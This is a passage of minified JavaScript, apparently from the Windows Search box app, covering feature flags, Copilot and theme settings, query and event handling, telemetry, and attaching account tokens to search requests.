setIFFVegaProviderEnabled(){n.isVegaSearchEnabled(t._isInSFSLNLStrixCFR)&&(t._iFFVegaProviderEnabled=!0,this.setPolarisDefaultConfigs())}static setJupiterDefaultEnabledBuild(i){var r;const u=i!=null?i["X-Device-BuildBranch"]:"";((r=n.config.coPilotPoweredSettingsEnabledBuilds)===null||r===void 0?void 0:r.includes(u===null||u===void 0?void 0:u.toLowerCase()))&&(t._jupiterDefaultEnabledBuild=!0)}static setJupiterDefaultConfigs(){n.config.enableBranchesWithCoPST&&t._jupiterDefaultEnabledBuild&&(n.config.forceCopilotPoweredSettingResultRendering=!0,n.config.enableCoPSTRankPlan=!0)}static setIFFPolarisProviderEnabled(){if(n.isPolarisSearchEnabled(t._isInSFSLNLStrixCFR)){const i=SearchAppWrapper.CortanaApp.queryFormulationView.deviceSearch.polarisProvider.status;t._iFFPolarisProviderEnabled=i===0;t._iFFPolarisProviderEnabled||n.LogWSBWarning("[PolarisProvider] PolarisStatus: "+i,undefined,undefined,"WindowsTelemetry");this.setPolarisDefaultConfigs()}}static getIFFPolarisDefaultEnabledBuild(){return t._iFFPolarisDefaultEnabledBuild}static getGetIconAsyncEnabled(){return n.config.newFilesPreviewPane&&(n.VelocityKeys===null||n.VelocityKeys===void 0?void 0:n.VelocityKeys.isFeatureEnabled(53029811))}static getGetItemStorageStateAsyncEnabled(){return(n.MockUrlParameters===null||n.MockUrlParameters===void 0?void 0:n.MockUrlParameters.mockCloudFileStatus)||(n.config.enableCloudFileStatus||t.getIsWIPOrInternalAudience())&&(n.VelocityKeys===null||n.VelocityKeys===void 0?void 0:n.VelocityKeys.isFeatureEnabled(56321400))}static useImprovedIndexingMessage(){return(n.config.newIndexMsg||t.getIsWIPOrInternalAudience())&&(n.VelocityKeys===null||n.VelocityKeys===void 0?void 0:n.VelocityKeys.isFeatureEnabled(56750487))}static setIFFPolarisDefaultEnabledBuild(i){var r;const u=i!=null?i["X-Device-BuildBranch"]:"";((r=n.config.coPiffEnabledBuilds)===null||r===void 0?void 0:r.includes(u===null||u===void 0?void 0:u.toLowerCase()))&&(t._iFFPolarisDefaultEnabledBuild=!0)}static setPolarisDefaultConfigs(){n.config.forceCoPilotPoweredResultsVisible=!0;n.config.enableMaxSuggestionsCountForFiles=!0;n.config.newFilesPreviewPane=!0;n.config.enableCopIFFExpPlan=!0;n.config.dataSourcesWithProgressBar=["SSEC","SSEE","CoPIFF","CoPCFP"];n.config.enableProgressBarForAllScope=!0;n.config.dataSourceTimeLimit=5e3}static setFullTextIFFDefaultConfigs(){n.config.enableFullTextIFFDefaultConfigs&&(n.VelocityKeys===null||n.VelocityKeys===void 0?void 0:n.VelocityKeys.isFeatureEnabled(48449532))&&(n.config.forceCoPilotPoweredResultsVisible=!0,n.config.enableMaxSuggestionsCountForFiles=!0,n.config.newFilesPreviewPane=!0,n.config.enableCopIFFExpPlan=!0)}static getDataComplianceDefaultEnabledBuild(){return t._dataComplianceDefaultEnabledBuild}static setDataComplianceDefaultEnabledBuild(i){var r;const u=i!=null?i["X-Device-BuildBranch"]:"";((r=n.config.dataComplianceEnabledBuilds)===null||r===void 0?void 0:r.includes(u===null||u===void 0?void 0:u.toLowerCase()))&&(t._dataComplianceDefaultEnabledBuild=!0)}static getSplitDataUploadEndpointEnabled(){return(n.config.splitDataUploadEndpoint||this.getDataComplianceDefaultEnabledBuild())&&(n.VelocityKeys===null||n.VelocityKeys===void 0?void 0:n.VelocityKeys.isFeatureEnabled(56242425))}static async setCopilotInstallationStatus(){let i=!0;if(n.config.shouldCheckCopilotInstallationStatus)try{await new Promise(t=>{n.LocalDataProvider.getAppsByDisplayName(n.CopilotDisplayName,r=>{i=Object.values(r).reduce((n,t)=>n.concat(t),[]).some(t=>t.deviceItem.displayName===n.CopilotDisplayName[0]),t()})})}catch(r){i=!1}t._copilotInstalled=i}static getCopilotInstallationStatus(){return t._copilotInstalled}static enableAddCopilotActionToBestMatch(){return n.config.addCopilotActionToBestMatch&&t.getCopilotInstallationStatus()}static enableAddCopilotActionToActionList(){return n.config.addCopilotActionToActionList&&t.getCopilotInstallationStatus()}static getFindSharedFilesEnabled(){return(n.config.enableFindSharedFiles||t.getIsWIPOrInternalAudience()||this.getFindSharedFilesDefaultEnabledBuild())&&(n.VelocityKeys===null||n.VelocityKeys===void 0?void 0:n.VelocityKeys.isFeatureEnabled(53509714))}static getFindSharedFilesDefaultEnabledBuild(){var i;if(t._findSharedFilesDefaultEnabledBuild===undefined){const r=t.getCachedCortanaHeaders();if(r){let u=r["X-Device-BuildBranch"];t._findSharedFilesDefaultEnabledBuild=((i=n.config.findSharedFilesEnabledBuilds)===null||i===void 0?void 0:i.includes(u===null||u===void 0?void 0:u.toLowerCase()))||!1}else ThresholdUtilities.getCortanaHeaders(i=>{var r;if(i){t.setCortanaHeadersCache(i);let u=i["X-Device-BuildBranch"];t._findSharedFilesDefaultEnabledBuild=((r=n.config.findSharedFilesEnabledBuilds)===null||r===void 0?void 0:r.includes(u===null||u===void 0?void 0:u.toLowerCase()))||!1}else SharedLogHelper===null||SharedLogHelper===void 0?void 0:SharedLogHelper.LogError("getSWMFDefaultEnabledBuild",undefined,"get Cortana headers failed")})}return t._findSharedFilesDefaultEnabledBuild}static setIsWIPOrInternalAudience(i){var r;if(n.config.enableWIPCheck){const n=(r=i!=null?i["X-Device-BuildBranch"]:"")===null||r===void 0?void 0:r.toLowerCase();(n==="dev"||n==="beta"||(n===null||n===void 0?void 0:n.startsWith("ge_current")))&&(t._isWIPOrInternalAudience=!0)}}static getIsWIPOrInternalAudience(){return t._isWIPOrInternalAudience}static initEdgeMuids(){if(n.config.enableEdgeMuidsTelemetry&&SearchAppWrapper.CortanaApp.edgeMuids){let i,t=[],r=Object.keys(SearchAppWrapper.CortanaApp.edgeMuids);for(let u in r){let e=r[u],f=SearchAppWrapper.CortanaApp.edgeMuids[e];e=="Default"?i||(i=f,n.config.enableEdgeMuidsTelemetryWrite?this.setEdgeMuidDefault(f):this.setEdgeMuidDefault("D")):t.indexOf(f)==-1&&t.push(f)}if(!n.config.enableEdgeMuidsTelemetryWrite)for(let n in t)t[n]="M";t.length>0&&this.setEdgeMuidsAdditional(t)}}static getEdgeMuidCount(){var n;let i=t._edgeMuidDefault?1:0,r=(n=t._edgeMuids)===null||n===void 0?void 0:n.length;return i+r}static getEdgeMuidsAdditional(n){let i=t._edgeMuids,r=t._edgeMuidDefault;return r&&(i=i.filter(n=>n!=r)),n&&n<i.length?i.slice(0,n):i}static setEdgeMuidsAdditional(n){return t._edgeMuids=n,!0}static getEdgeMuidDefault(){return t._edgeMuidDefault}static setEdgeMuidDefault(n){return t._edgeMuidDefault=n,!0}static getOsSKU(){return n.osSKUCache}static getWindowsTheme(){return t._defaultWindowsTheme}static getAppTheme(){return t._defaultAppTheme}static isInConversationMode(){return this._inConversationMode}static setInConversationMode(n){this._inConversationMode=n;this._qfDisabled=!1}static getAccentColor(n=0){if(!Number.isInteger(n))throw"Invalid argument "+n;if(t._accentColorShades){let i=n<0?t._accentColorShades.light:t._accentColorShades.dark,r=Math.min(3,Math.abs(n));return i[r]}return t._accentColor}static initInstalledAppsByQueryInCurrentConversation(){n.config.enableWinStoreAppPreview&&(t._installedAppsByQuery={})}static getAllInstalledAppsByQueryInCurrentConversation(n){let i=t._installedAppsByQuery?Object.keys(t._installedAppsByQuery):[];return(i===null||i===void 0?void 0:i.includes(n))?t._installedAppsByQuery[n]:null}static addInstalledAppsByQueryInCurrentConversation(n,i){let r=t._installedAppsByQuery?Object.keys(t._installedAppsByQuery):[];(r===null||r===void 0?void 0:r.includes(i))||(t._installedAppsByQuery[i]=[]);t._installedAppsByQuery[i].push(n)}static getCachedCortanaHeaders(){return t._cortanaHeaders}static setCortanaHeadersCache(i){n.config.enableCortanaHeadersCache&&(t._cortanaHeaders=i)}static refreshAccentColorShades(){t._accentColorShades=null;let n=i.themeColors;n&&(t._accentColorShades={dark:[n.accent,n.accentDark1,n.accentDark2,n.accentDark3,],light:[n.accent,n.accentLight1,n.accentLight2,n.accentLight3,]},t._accentColorShades.dark=t._accentColorShades.dark.map(n=>"#"+n.substr(3)),t._accentColorShades.light=t._accentColorShades.light.map(n=>"#"+n.substr(3)))}static calculateBrowserType(n){return n?n.endsWith("\\chrome.exe")?6:n.endsWith("LaunchWinApp.exe")?3:n.endsWith("firefox.exe")?5:n.endsWith("\\msedge.exe")?4:n.endsWith("Opera\\Launcher.exe")?7:n.endsWith("\\iexplore.exe")?2:n.endsWith("\\brave.exe")?8:0:0}static getUriLaunchPolicy(){return 2}static getConnectedAccountInfo(n){return t._accessTokenManager?t._accessTokenManager.getCachedAccountInfo(n):null}static isInternetConnectionMetered(){return n.safeExecute(()=>i.networkEnvironment&&i.networkEnvironment.isMeteredConnection,"isInternetConnectionMetered",!1)}static isInputPanelVisible(){return n.safeExecute(()=>r.isInputPaneVisible,"isInputPanelVisible")}static uploadClientErrorLog(){if(i.getFlightingLogsAndDelete){let t=n.safeExecute(()=>i.getFlightingLogsAndDelete(),"getFlightingLogsAndDelete","");for(let i of t.split("\r\n"))if(i!=""){let t=i.indexOf("|");if(t<0||t+1==i.length)n.LogWSBWarning("clientWarning",i,"Malformed clientError data","WindowsTelemetry");else{let r=i.substr(t+1);r.startsWith("Critical:")||r.startsWith("Error:")?n.LogWSBError("clientError",null,r,undefined,undefined,"WindowsTelemetry"):n.LogWSBWarning("clientWarning",null,r,"WindowsTelemetry")}}}}static registerFeedbackDebugCallback(n){let i=n[1].debugCollector;i.registerCollectionCallback(sj_dm(this,t.collectDebugInfo))}static collectDebugInfo(){let r={},u=t._currentQuery&&t._currentQuery.originalQuery;u&&(r.query=u);r.conversationId=t._currentCVID;r.entryPoint=i.entryPoint;r.previousExperience=e.previousExperience;n.ConstraintIndex&&(r.ciVersion=n.ConstraintIndex.currentCIVersion);n.config.snrVersion&&(r.snrVersion=n.config.snrVersion);n.osSKUCache!==undefined&&(r.ossku=n.osSKUCache.toString());let f=i.width;f&&(r.width=f.toString());let o=i.height;return o&&(r.height=o.toString()),r}static clearInitialFetchTimer(){t._initialFetchTimer&&(sb_ct(t._initialFetchTimer),t._initialFetchTimer=null)}static callQueryChangedHandlers(r,u,f,e,o){if(t._qfDisabled)throw"Not supported";let s=t.getStructuredQuery(r,null,t._currentQuery);if(t._rawQueryChangedHandlers.forEach(t=>n.safeExecute(()=>t(s,u),"rawQueryTextChanged")),f||t.clearInitialFetchTimer(),!e){let n=i.impressionId;t.usedImpressionIds[n]||(e=n,t.usedImpressionIds[n]=!0)}let h=o&&!s.originalQuery;(h||!e||e==t._currentRawImpressionId?(t._currentRawImpressionId=t.createGuid(),t._currentRawImpressionIdCreatedByTheClient=!1):(t._currentRawImpressionId=e,t._currentRawImpressionIdCreatedByTheClient=!0),f)||(t._previousQuery=t._currentQuery,t._currentQuery=s,t._queryChangedHandlers.forEach(t=>n.safeExecute(()=>t(s,u),"queryTextChanged")))}static getStructuredQuery(r,u,f){var s;const e=r.queryText,h=r.cursorPosition;if(u&&u.originalQuery===e&&u.originalCursorPosition===h)return u;let c=t._queryPropertiesOverrides&&t._queryPropertiesOverrides.query==e,o=c&&n.isCortanaEnabledCache?(s=t._queryPropertiesOverrides)===null||s===void 0?void 0:s.taskFrame:null;if(!o&&n.isCortanaEnabledCache&&i.searchResultsView.getTaskFrame){let t=n.safeExecute(()=>i.searchResultsView.getTaskFrame(e),"getTaskFrame");t&&(o=n.parseTaskFrame(t))}return!o&&f&&f.taskFrame&&f.originalQuery==e&&(o=f.taskFrame),n.parseQuery(e,h,f,o,c&&t._queryPropertiesOverrides)}static async updateState(u,f,e){if(u!=f){if(t._state=f,u==0){let i=n.getCurrentTime();await t.chainHandlerPromises(t._appVisibleEventHandlers,"appVisible");n.InstrumentationHelper.instrumentAppVisibleFinish(i)}if(f==2){const u=n.getCurrentTime();if(t._shownEventHandlers.forEach(t=>n.safeExecute(()=>t(u),"shown")),n.InstrumentationHelper.instrumentAppShownFinish(u),!e&&!t._qfDisabled){const u=i.entryPoint=="WNSSTB";t._initialFetchTimer=n.safeSetTimeout(()=>t.callQueryChangedHandlers(r.getQueryText(),!1,!1,null,!0),u?n.config.initialFetchTimerDelayFromStartMenu||0:0,"initialFetch")}}if(u==2){t.clearInitialFetchTimer();const i=t._currentQuery;t._dismissedEventHandlers.forEach(t=>n.safeExecute(()=>t(i),"dismissed"))}f==0&&(t._appHiddenEventHandlers.forEach(t=>n.safeExecute(()=>t(),"appHidden")),t.setThirdPartyAppsCache(null))}}static searchBoxHasFocus(){return r.hasFocus}static async initializeEvents(){await t.updateState(t._state,i.currentState,!1)}static bindClearMRURequested(i,r){t._clearStorageRequestedHandlers[r]&&n.LogWSBError("bindClearMRURequested",null,new Error("Only one event handler supported"),undefined,undefined,"WindowsTelemetry");t._clearStorageRequestedHandlers[r]=i}static shouldRequestEltoken(){return t._shouldRequestEltoken}static getElToken(){return t._elToken}static setElToken(n){t._elToken=n;t._shouldRequestEltoken=!1}static sendElToken(){t._sendElTokenInSuggstionRequest=!0}static canHaveSearchHistory(){return n.searchHistoryAllowed()}static getInstrumentationParameters(n){let r=i.createStringMap?i.createStringMap():{};return _G.nclid&&(r[f.HashedMuid]=_G.nclid),r[f.FormCode]=n||t.getFormCode(),r[f.ConversationId]=t.getConversationId(),r}static appHiddenCleanup(){n.Async.clearGlobalCache();t._locStrings=[];n.cleanScopePrefixes();t.cleanTaskBarPinnedItems();n.clearPathExpansionCache();n.config.perfInstV2&&n.InstrumentationHelper.instrumentConversationTimelineFinish();n.config&&n.config.appHiddenForceFlush&&Log2&&Log2.ForceFlush()}static initCloudSearch(){let t=i.isCloudSearchEnabled!==!1,r=i.isMultiAccountCloudSearchSupported!==!1;n.isCloudSearchEnabledMsaCache=n.RuntimeConfig.QfMode==5||(r?i.isCloudSearchEnabledForMSA:t);n.isCloudSearchEnabledAadCache=n.RuntimeConfig.QfMode==5||(r?i.isCloudSearchEnabledForAAD:t)}static initLanguage(){n.uiLanguageCache=(n.TestHookUrlParameters===null||n.TestHookUrlParameters===void 0?void 0:n.TestHookUrlParameters.setLang)||i.systemLanguage||i.uiLanguage||"";t._queryParamsCache[f.SetLang]=n.uiLanguageCache}static initSettings(){n.hideFileExtensionsCache=i.hideFileExtensions}static initLocStrings(){let i=t._enUsLocStrings.length==0;for(let r of n.config.locStrings){let u={uiCulture:"en-US",name:r,namespace:"WindowsSearchBox"};if(i&&t._enUsLocStrings.push(LocStringManager.getLocString(u)),n.uiLanguageCache.toLowerCase()!="en-us"){u.uiCulture=n.uiLanguageCache;let r=n.safeExecute(()=>LocStringManager.getLocString(u),"getLocString",null,u.uiCulture);if(r)t._locStrings.push(r);else if(n.config.smallerBundle&&!n.isBrowserOnline())setTimeout(()=>n.fallbackToPrepopulatedBundle(new Error("Language switched and force fallback.")),5e3);else if(n.config.smallerBundle&&i){n.LogWSBWarning("BundleReduceTelemetry","",new Error("Display language switched."),"WindowsTelemetry");navigator.serviceWorker.ready.then(n=>{n.active.postMessage({message:"ls"})});return}}}}static async appVisibleInit(){t.initCortanaEnabledAndRegion();var r=n.uiLanguageCache;t.initLanguage();n.isThirdPartySearchAllowed()&&await t.prefetchAllWebSearchExtensions();n.config.noLocStringRefresh&&r!=n.uiLanguageCache?t.initLocStrings():n.config.noLocStringRefresh||t.initLocStrings();n.refreshBingEnabledCache(i.isBingEnabled,t.getRegion(),t.getLanguage());n.RuntimeConfig.OnAppVisible();t._isFileExplorerOrControlPanel=n.RuntimeConfig.QfMode==5||n.RuntimeConfig.QfMode==9;n.setZeroInputDataSourcesForL1();t.initCloudSearch();t.initSettings();t.setCopilotInstallationStatus();t.initInstalledAppsByQueryInCurrentConversation();t.checkIfBitmapInClipboardSupported();t.updateScopeList();n.StaticHtmlElements.suggestionsList.setAttribute("aria-label",t.getLocString("ResultsList"));t._elToken=null;i.theme&&(t._defaultWindowsTheme=t._isFileExplorerOrControlPanel&&i.fileExplorerSuggestionPage?i.fileExplorerSuggestionPage.useDarkTheme?2:1:(n.VelocityKeys===null||n.VelocityKeys===void 0?void 0:n.VelocityKeys.isFeatureEnabled(45995231))?i.theme.startsWith("ff")?1:2:i.theme.startsWith("000000")?2:1,t._accentColor="#"+i.theme.substr(7),i.appsUseLightTheme!==null&&(t._defaultAppTheme=i.appsUseLightTheme?1:2));t.refreshAccentColorShades();t.refreshDefaultBrowserInfoAsync();t.initEdgeMuids();ThresholdUtilities.getCortanaHeaders(n=>{t._ageAccountType=0,n?(t.setCortanaHeadersCache(n),n["X-UserAgeClass"]==="Child"?t._ageAccountType=1:n["X-UserAgeClass"]==="Adult"&&(t._ageAccountType=2),t.setIFFPolarisDefaultEnabledBuild(n),t.setIFFVegaDefaultEnabledBuild(n),t.setJupiterDefaultEnabledBuild(n),t.setDataComplianceDefaultEnabledBuild(n),t.setSFSLNLStrixCFRFligtStatus(n)):SharedLogHelper===null||SharedLogHelper===void 0?void 0:SharedLogHelper.LogError("setAgeAccountType",undefined,"get Cortana headers failed")});t.setIFFPolarisProviderEnabled();t.setIFFVegaProviderEnabled();t.setJupiterDefaultConfigs();t.setFullTextIFFDefaultConfigs()}static shownInit(){let u=t._qfDismissCount;if(t._queryPropertiesOverrides=null,n.RuntimeConfig.QfMode==999999||n.config.enableSnipSearchV2&&i.entryPoint=="WNSSBS"){t._qfDisabled=!0;return}if(n.RuntimeConfig.QfMode==5){let r=n.safeExecute(()=>i.fileExplorerSuggestionPage.currentLocation,"fileExplorerSuggestionPage.currentLocation");t._fileExplorerCurrentPath=r&&!r.startsWith("::")?r:null}t.initCortanaEnabledAndRegion();let e=i.isBingEnabled;e!=n.isBingEnabled()&&(n.refreshBingEnabledCache(e,t.getRegion(),t.getLanguage()),t.updateScopeList());let r=i.homeGeographicRegion;t._queryParamsCache[f.CountryCode]=n.regionCache;r&&r!=n.regionCache&&(t._queryParamsCache[f.HomeGeographicRegion]=r);t.ensureAuthority(u);t.initHeadersOverrides(u);t.keepWSBOpen(n.config.keepCortanaOpened||n.getTweakedSetting("keepCortanaOpenedTweak"))}static ensureAuthority(n){t._accessTokenManager&&t._accessTokenManager.enumerateMultiAccountAuthority(()=>t.initHeadersOverrides(n))}static initCortanaEnabledAndRegion(){n.isCortanaEnabledCache=i.isCortanaEnabled;n.regionCache=(n.TestHookUrlParameters===null||n.TestHookUrlParameters===void 0?void 0:n.TestHookUrlParameters.cc)||(n.config.ignoreCortanaMarketOverride?i.homeGeographicRegion:i.region)||"";n.revIpRegionCache=typeof _G=="object"&&_G.RevIpCC&&_G.RevIpCC.toUpperCase()||""}static initMSAUserCodexStatus(){if(n.LightweightStorage){const i=t._accessTokenManager.getSelectedAccountId();if(i){const u=`CodexStatus${i}`,r=n.LightweightStorage.getItem(u);if(r){const n=JSON.parse(r);t.setIsCodexUser(!!n)}}}}static updateScopeList(n){n&&i.currentState!==2||t._scopeListRequiresUpdate.forEach(n=>n())}static dismissCleanup(){t.keepWSBOpen(!1);delete t._queryParamsCache[f.HomeGeographicRegion];t._queryToIgnoreOnQueryTextChangedEvent=null;t._currentQuery=null;t._queryPropertiesOverrides=null;t._fileExplorerCurrentPath=null;t._isDSBEnabledByClient=null;n.regionCache=null;t.closeFeedbackForm();t.removeFeedbackForm();t._inConversationMode=!1;t._qfDisabled=!1}static showFeedbackForm(){if(typeof WindowsFeedbackForm!="undefined"&&WindowsFeedbackForm.Show){const t=n.TestHookUrlParameters===null||n.TestHookUrlParameters===void 0?void 0:n.TestHookUrlParameters.hideFbig,i=n.AccessTokenManager.getWindowsAccountType()===1&&!(n.msbHost===null||n.msbHost===void 0?void 0:n.msbHost.isMsbInternalTenant())||(n.TestHookUrlParameters===null||n.TestHookUrlParameters===void 0?void 0:n.TestHookUrlParameters.noFbScr);WindowsFeedbackForm.Show("",undefined,t,i)}}static closeFeedbackForm(){n.safeFireEvent("WindowsFeedback.Form.Hide")}static removeFeedbackForm(){typeof WindowsFeedbackForm!="undefined"&&WindowsFeedbackForm.Remove&&WindowsFeedbackForm.Remove()}static checkIfBitmapInClipboardSupported(){if(i.getClipboardAvailableFormats)try{let n=i.getClipboardAvailableFormats();t._isBitmapInClipboardSupported=n!=null}catch(n){t._isBitmapInClipboardSupported=!1}else t._isBitmapInClipboardSupported=!1}static isBitmapInClipboardSupported(){return t._isBitmapInClipboardSupported}static async getBitmapURIFromClipboardAsync(){let t=n.safeExecute(()=>i.getClipboardAvailableFormats(),"getClipboardAvailableFormats",[]);if(!n.contains(t,"Bitmap"))return null;try{const t=await n.Async.safePromise("getClipboardBitmapAsync",()=>i.getClipboardBitmapAsync());return URL.createObjectURL(t)}catch(r){return null}}static setAuthHeadersFromWindowsTokens(){if(t._accessTokenManager){let r=t._headersCache;var i=n.AccessTokenManager.getWindowsAccountType();if(n.config.userProfileButtonEnabled){let i=t._accessTokenManager.getSelectedAccountInfo();if(i){let u=i.accountProviderAuthority=="consumers"?0:1;t._accessTokenManager.getAccountByUserName(!1,u,i.accountUserName,!1,!0,t=>{t&&t.Token&&(u==0?((n.VelocityKeys===null||n.VelocityKeys===void 0?void 0:n.VelocityKeys.isFeatureEnabled(55182095))&&n.config.enabledMsaAuthV2?r["X-Search-MsaV2Token"]=t.Token:r["X-Search-RPSToken"]=t.Token,delete r.Authorization):(r.Authorization="Bearer "+t.Token,(n.VelocityKeys===null||n.VelocityKeys===void 0?void 0:n.VelocityKeys.isFeatureEnabled(55182095))&&n.config.enabledMsaAuthV2?delete r["X-Search-MsaV2Token"]:delete r["X-Search-RPSToken"]))})}}else i==2||i==4?t._accessTokenManager.getAccount(0,n.getBingResourceOrScope(0),!1,!0,t=>{t&&t.Token&&((n.VelocityKeys===null||n.VelocityKeys===void 0?void 0:n.VelocityKeys.isFeatureEnabled(55182095))&&n.config.enabledMsaAuthV2?r["X-Search-MsaV2Token"]=t.Token:r["X-Search-RPSToken"]=t.Token)},undefined):i==1&&t._accessTokenManager.getAccount(1,n.getBingResourceOrScope(1),!1,!0,n=>{n&&n.Token&&(r.Authorization="Bearer "+n.Token)},undefined)}}static setHostPropsFromCortanaHeaders(i,r){t._shouldRequestEltoken=!!i["X-Search-Location"];let u=i["X-BM-ClientFeatures"];u&&(r.push(...u.split(",")),t._headersCache["X-BM-ClientFeatures"]=r.join());t._safeSearchSetting=i["X-Search-SafeSearch"];t._isEducationEnvironment=i["X-Device-EnableRegulatoryPsm"]=="1";t._isWindowsS=i["X-Device-EnableCPsm"]=="1";t._partnerSearchCode=i["X-Device-PSC"];n.substrateProvidersEnabled()||t.updateScopeList()}static initHeadersOverrides(r){let u=[];t._headersCache={};i.systemRAMInMB&&i.systemRAMInMB<=512&&u.push("LowMemoryDevice");u.push("FontV22");u.push("LightAnswers");n.RuntimeConfig.PreviewPaneAvailable&&u.push("PreviewPaneAvailable");u.length>0&&(t._headersCache["X-BM-ClientFeatures"]=u.join());t.setAuthHeadersFromWindowsTokens();const f=t.getCachedCortanaHeaders();f&&r==t._qfDismissCount?t.setHostPropsFromCortanaHeaders(f,u):ThresholdUtilities.getCortanaHeaders(n=>{n||(SharedLogHelper===null||SharedLogHelper===void 0?void 0:SharedLogHelper.LogError("initHeadersOverrides",undefined,"get Cortana headers failed")),n&&r==t._qfDismissCount&&(t.setCortanaHeadersCache(n),t.setHostPropsFromCortanaHeaders(n,u))})}static createGuid(){return n.safeExecute(()=>i.createGuid(),"createGuid","")}static getLocString(i,...r){let u;for(let n of t._locStrings)if(u=n[i],u)break;return u||(u=t.getEnUsLocString(i)),u&&r.length>0&&(u=n.formatString(u,r)),u===null||u===void 0?void 0:u.replace("_"," ")}static getEnUsLocString(n){for(let i of t._enUsLocStrings){let t=i[n];if(t)return t}return undefined}static getRawImpressionGuid(){return t._currentRawImpressionId}static getConversationId(){return t._currentCVID}static getPrivacyNumber(){return t._randomPrivacyNumber}static getNewConversationId(){let i=n.cleanGuid(n.safeExecute(()=>e.perfMetrics.conversationId,"conversationId"));return t._clientPreCVID=t._clientCurCVID,t._clientCurCVID=i,i?t._clientCurCVID==t._clientPreCVID&&(n.config.forceCVIDUpdate?i=n.cleanGuid(t.createGuid()):n.LogWSBError("getNewConversationId since cvid from client no change",null,new Error("Client returned conversation ID same as before"),undefined,undefined,"WindowsTelemetry")):(n.LogWSBError("getNewConversationId",null,new Error("Client returned null conversation ID"),undefined,undefined,"WindowsTelemetry"),i=n.cleanGuid(t.createGuid())),i}static getNewPrivacyNumber(){return Math.floor(Math.random()*Number.MAX_VALUE)}static keyDownEscapeHandler(){let i={handled:!1};t._keyEscapeHandlers.forEach(t=>n.safeExecute(()=>t(i),"escapeKey"));i.handled||n.safeExecute(()=>SearchAppWrapper.CortanaApp.dismissApp(),"dismissApp");return}static bindQueryChangedOrInitialized(n,i,r){r?i?t._rawQueryChangedHandlers.unshift(n):t._queryChangedHandlers.unshift(n):i?t._rawQueryChangedHandlers.push(n):t._queryChangedHandlers.push(n)}static bindOnSubmit(n){t._onSubmitHandlers.push(n)}static bindOnFeedbackClosing(n){t._onFeedbackClosingHandlers.push(n)}static bindOnEnterChat(n){t._onEnterChatHandlers.push(n)}static bindSearchBoxGlyphIconClick(n){t._onSearchBoxGlyphIconClick.push(n)}static bindSearchBoxClick(n){t._onSearchBoxClick.push(n)}static bindButtonRightOfSearchBoxClick(n){t._onButtonRightOfSearchBoxClick.push(n)}static bindSearchBoxGotFocus(n){t._searchBoxGotFocusEventHandlers.push(n)}static bindSearchBoxLostFocus(n){t._searchBoxLostFocusEventHandlers.push(n)}static getModifierKeyState(){return t._modifierKeyState}static notifyBootstrapDone(){t._bootstrapDoneEventHandlers.forEach(n=>n())}static bindBootstrapDone(n){t._bootstrapDoneEventHandlers.push(n)}static bindAppVisible(n){t._appVisibleEventHandlers.push(n)}static bindShown(n){t._shownEventHandlers.push(n)}static unbindShown(n){const i=t._shownEventHandlers.indexOf(n);i>-1&&t._shownEventHandlers.splice(i,1)}static bindConversationStart(n){t._conversationStartEventHandlers.push(n)}static bindDismissed(n){t._dismissedEventHandlers.push(n)}static bindAppHidden(n){t._appHiddenEventHandlers.push(n)}static bindBeforeWebViewReload(n){t._webViewReloadEventHanlders.push(n)}static bindKeyEscape(n){t._keyEscapeHandlers.push(n)}static bindKeyDown(n){t._keyDownHandlers.push(n)}static bindKeyUp(n){t._keyUpHandlers.push(n)}static bindAccessTokenAvailable(n){t._accessTokenAvailableHandlers.push(n)}static bindScopeListRequiresUpdate(n){t._scopeListRequiresUpdate.push(n)}static bindAccountChanged(n){t._accountChangedHandlers.push(n)}static bindDynamicSearchBoxUpdate(n){t._dynamicSearchBoxUpdateHandlers.push(n)}static bindDynamicPlaceholderContentRequested(n){t._dynamicPlaceholderContentRequestedHandlers.push(n)}static bindSearchAppearanceInvoked(n){t._searchAppearanceInvokedHandlers.push(n)}static getQuery(i){return n.config.optimizeGetQueryLogic?((i||!t._queryCache)&&(t._queryCache=t.getStructuredQuery(r.getQueryText(),t._currentQuery,t._previousQuery)),t._queryCache):t.getStructuredQuery(r.getQueryText(),t._currentQuery,t._previousQuery)}static refreshCurrentPane(n){var f;if(!n||i.currentState===2){let u;if(t._currentQuery)u=t._currentQuery.originalQuery;else{let n=(f=r.getQueryText())===null||f===void 0?void 0:f.queryText;u=n?n:""}t.setQuery(u,!1,!0)}}static clearWorkQuery(){let i=`${this.getLocString("Work")}:`.toLowerCase(),r=`${this.getLocString("School")}:`.toLowerCase(),n=t.getQuery().originalQuery.toLowerCase();n.includes(i)?n=n.replace(i,""):n.includes(r)&&(n=n.replace(r,""));t.setQuery(n,!1,!0)}static clearConversation(){t.setInConversationMode(!1);t.setQuery("",!0,!0)}static keepWSBOpen(n){let t=i.hostingEnvironment==3;!t&&i.changeExplicitDismissMode&&i.changeExplicitDismissMode(n)}static notifyAccountSelected(n){t.setAuthHeadersFromWindowsTokens();t._accountChangedHandlers.forEach(t=>t(n))}static updateQueryWithoutRefetching(i){n.isNullOrUndefined(i)&&(i=t._currentQuery?t._currentQuery.originalQuery:"");t.setQuery(i,!1,!1)}static reformulate(n,i,r,u){let f={query:n,taskFrame:i,topHitRestriction:r,forceGroupOnTop:u};t.setQuery(n||"",!0,!1,f)}static reformulateOnSuggestionClick(n,i,r,u){let f={query:n,fromSearchHome:i,fromSuggestionType:r,inorganic:!0,serpURLParams:u};t.setQuery(n||"",!0,!1,f)}static reformulateNonForcedMiniSerp(n,i,r){let u={query:n,fromSearchHome:i,fromSuggestionType:r};t.setQuery(n||"",!0,!1,u)}static switchToScope(i,r){var u,f;const e=(f=(u=n.ScopeConfig===null||n.ScopeConfig===void 0?void 0:n.ScopeConfig[i])===null||u===void 0?void 0:u.prefixes)===null||f===void 0?void 0:f[0];if(e){const n=`${e}: ${r||""}`;t.reformulate(n)}}static switchToThirdPartyScope(n,i){if(n){const r=`${n.displayName}: ${i||""}`;let u={query:r};t.setQuery(r||"",!0,!1,u)}}static switchToSearchScope(n){let i={query:n||""};t.setQuery(n||"",!0,!1,i)}static setQuery(u,f,e,o){if(n.isNullOrUndefined(u))throw new Error("query parameter can't be null");if(!f&&o)throw new Error("Property overrides only allowed on query reformulations");let s=!f&&!e;t._queryPropertiesOverrides=o;s&&(t._queryToIgnoreOnQueryTextChangedEvent=u);const h=!!n.config.setQueryKeyboardNavParamAvailable&&s&&r.getQueryText().queryText!=u;n.safeExecute(()=>r.setQueryText(u,f,t._currentRawImpressionIdCreatedByTheClient?t._currentRawImpressionId:i.impressionId,h),"setQueryText");let c=f&&t.getQuery().originalQuery==u||e;if(c){const i=()=>t.callQueryChangedHandlers({queryText:u,cursorPosition:u.length},e,!1);n.safeExecute(i,"triggerQueryTextChangedEvent")}}static 